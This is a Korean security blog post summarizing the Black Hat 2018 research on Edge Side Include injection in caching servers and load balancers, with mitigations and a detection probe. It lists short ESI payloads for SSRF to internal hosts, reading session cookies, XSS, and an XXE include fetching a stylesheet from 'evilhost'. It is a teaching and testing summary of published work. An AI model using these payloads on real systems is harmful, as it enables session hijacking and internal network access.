ESI(Edge Side Include) Injection을 이용한 Web Attack(XSS, Session hijacking, SSRF / blackhat 2018)

주말동안 시간나면 천천히 blackhat, defcon 자료좀 볼까해서 보다보니 글로 공유드리면 괜찮을 것 같은 내용이 있어 포스팅 작성해봅니다. 바로 ESIi(ESI Injection)에 대한 내용입니다.

http://i.blackhat.com/us-18/Wed-August-8/us-18-Dion_Marcil-Edge-Side-Include-Injection-Abusing-Caching-Servers-into-SSRF-and-Transparent-Session-Hijacking.pdf

ESI(Edge Side Include)?

우선 ESI에 대해 짚고 넘어가는게 좋을 것 같습니다. 개인적으로 이름 정도만 들어봤던지라 문서 보고 내용 좀 더 찾아보았습니다. ESI은 웹 캐시, LB(Load Balancer)에서 많이 등작하는 말이며 page assembly를 위한 표준 태그라고 합니다. 아카마이쪽에선 이렇게 정의합니다.

“ESI(Edge Side Includes)는 인터넷의 Edge에서 웹 애플리케이션의 동적 어셈블리 및 전송을 위한 웹 페이지 구성 요소를 정의하는 데 사용되는 간단한 마크업 언어”

결국은 HTML Tag와 같이 웹 페이지를 구성할 수 있는 태그? 마크업 같은 역할을 하며 이에 대한 내용은 코드단을 보시면 더 명확하게 이해갑니다. 아래 링크들은 참고해주세요

https://www.akamai.com/kr/ko/support/esi.jsp
https://www.w3.org/TR/esi-lang
http://www.dbguide.net/upload/data/sem_data/Tech-iSeminar_AS10g_Webcache.pdf

HTML 코드 내에서 ESI은 아래와 같이 사용됩니다. <esi: 태그로 명시되며 이 코드는 웹단에 넘어오기 전에 캐시서버에서 미리 처리되어 데이터가 넘어옵니다.

<table>
<tr>
<td>test</td>
<td>
<esi:try>
  Invalid markup here
    <esi:attempt>
        <esi:include … >   
<!-- 실제 코드 구성으론 <esi: 이렇게 시작하지만 캐시에서 해당 부분 내용을 채우고 사용자에게 넘겨줍니다. -->
        This line is valid and will be processed.
    </esi:attempt>
        Invalid markup here
    <esi:except>
        This HTML line is valid and will be processed.
    </esi:except>
    Invalid markup here
</esi:try>
</td>

이런 방식으로 동작합니다.

FE-BE로 표현하는게 좋을지 모르겠네요. 아무튼 Client to Server 관계입니다.

esi 문법에 따라서 여러가지 기능 수행이 가능합니다. 아래와 같이 원격지 데이터를 읽어서 페이지에 뿌려줄 수도 있고

[ page1.html ]

<html>
<p>This is page 1!</p>
<esi:include src="///page2.html"/>
</html>

[ page2.html ]

<p>This is page 2!</p>

<!-- 실제 결과로는 page1 내부에 page2 내용이 찍히게 되죠. -->
<!-- 눈치채셨을 수 있겠지만, 딱봐도 SSRF 가능하네요 (_ _) -->

이런식으로 쿠키나 UA 등을 가져올 수도 있습니다.

<html>
<p>This is page 1!</p>
<esi:vars>$(HTTP_COOKIE{YOUR_COOKIE})</esi:vars>
</html>

<!--
참고

$(HTTP_USER_AGENT) → Mozilla/5.0 (X11;[…]
$(QUERY_STRING) → city=Montreal&format=C
$(HTTP_COOKIE) → _ga=[…]&__utma=[…]
-->
<!-- 여기서도 눈치채셨을 것 같은데, 보안헤더 설정과 다르게 쿠키나 URL Query를 가져올 수 있으니.. -->
<!-- 세션 탈취도 가능하겠지요. -->

Attack Vector

넵 위에서 말씀드렸듯이 쿠키값을 가져오거나 원격지 접근해서 데이터를 쓸 수 있기 때문에 SSRF, Session Hijacking이 가능합니다. 번외로 XSS도 동일하겠구요(그치만 ESI 구문 넣었을때 부터가 이미 XSS에 어느정도 취약한거기 떄문에.. )

대략 어떤식으로 코드 나올지 봐보면..

SSRF

<esi:include src=http://127.0.0.1/server-status/>
<esi:include src=http://internal_domain/server_base_csrf_page/>

Sessions Hijacking

<esi:vars>$(HTTP_COOKIE{PHPSESSID})</esi:vars>
<esi:vars>$(HTTP_COOKIE{JSESSIONID})</esi:vars>
<esi:vars>$(HTTP_COOKIE{Private_Cookie})</esi:vars>

XSS

<esi:include src=http://vaha.hahwul.com/test/xss.html/>

XXE

<esi:include src="http://evilhost/poc.xml" dca="xslt" stylesheet="http://evilhost/poc.xsl" />

어떤 환경에서 취약할까?

우선 ESI가 사용되는 환경어야 가능합니다. 맨 위에 내용대로 캐시 서버나 LB 사용여부가 중요할 것 같습니다. Client와 App Server 사이에 캐시, 로드밸런서가 있고 ESI가 사용된다고 하면 우선 가능성이 굉장히 높아지구요.

추가로 ESI 태그 사용이 가능해야하기 때문에 특수문자가 삽입될 수 있어야합니다. 여기서 보편적인 XSS 공격 포인트와 유사해지며 ESI를 이용한 SSRF 형태의 공격에선 Reflected XSS 삽입 부분에서도 사용할 수 있기 때문에 캐시/LB 환경이 경우에 테스트해야할 범위가 굉장히 많아질 것 같습니다.

해당 취약점에 대한 내용과 함께 언급된 2개의 서비스가 있는데, 바로 Apache Traffic Server(ATS), Oracle Web Cache입니다. 해당 서버들이 쓰이는 환경에선 무조건적으로 체크가 필요할 것 같고, 이외에도 ESI를 사용하는 다른 서비스들 또한 체크가 필요할 것 같습니다.

ATS에 대한 자세한 설명은 아래 블로그 참고 부탁드리며, Oracle Web Cache는 .. 아직 눈에 띄이는 글을 보진 못했네요.

=> ats : http://jiyupapa.tistory.com/15 => owc : ??

이외에도 여러가지 서비스가 있습니다.

Service Include Param Headers
ATS(Apache Traffic Server) O O O
Squid3 O O O
Varnish Cache O N N
Fastly O N N
Akamai ESI Test Server O O O
NodeJS - esi O O O
NodeJS - nodesi O N N
Oracle Web Cache O O O

Conclusion

간단할 수 있느데, 분명 XSS와 공격 방식이 겹치기 떄문에 일거리가 굉장히 많아질수도 있습니다.

문서에서 제시한 테스트 방법은 아주 괜찮은 것 같습니다. 그냥 ESI 지원 여부만 판단해도, 취약점 잡아내기는 좋을 것 같기 때문에, 아래 사항 체크해보고 반응이 있다면 해당 서비스의 XSS와 같이 테스트해야할 것 같네요.

FOO<!-esi ->BAR → FOOBAR (취약) 
FOO<!-foo ->BAR → FOO<!-foo ->BAR

대응방안은 우선 XSS와 동일할 것 같습니다.

  • 불필요한 특수문자, 데이터 타입 처리하지 않도록 수정
  • 게시판 같이 특수문자 사용이 필요하면 White list로 태그, 핸들러 필터링
  • 문서에서 제시한 backslash 방법도 괜찬긴하나, 기능상, 우회 가능성상 크게 좋아보이진 않습니다. 참고만 해주심 되겠습니다.
<esi:include src=\"http://vaha.hahwul.com/test/xss.html\"/>
us-18-Dion_Marcil-Edge-Side-Include-Injection-Abusing-Caching-Servers-into-SSRF-and-Transparent-Session-Hijacking.pdf 문서 일부

내용은 금요일 퇴근길에 얼추 봐두었느데, 이제서야 글을 쓰네요(주말엔 정말 컴퓨터 키기 왜이리 귀찮은건지…)

아무튼, 테스트해볼 공격 벡터가 늘었고, 일하거나 놀때 조금 더 신경써서 봐야겠네요.

Reference

https://www.akamai.com/kr/ko/support/esi.jsp https://www.w3.org/TR/esi-lang http://www.dbguide.net/upload/data/sem_data/Tech-iSeminar_AS10g_Webcache.pdf http://i.blackhat.com/us-18/Wed-August-8/us-18-Dion_Marcil-Edge-Side-Include-Injection-Abusing-Caching-Servers-into-SSRF-and-Transparent-Session-Hijacking.pdf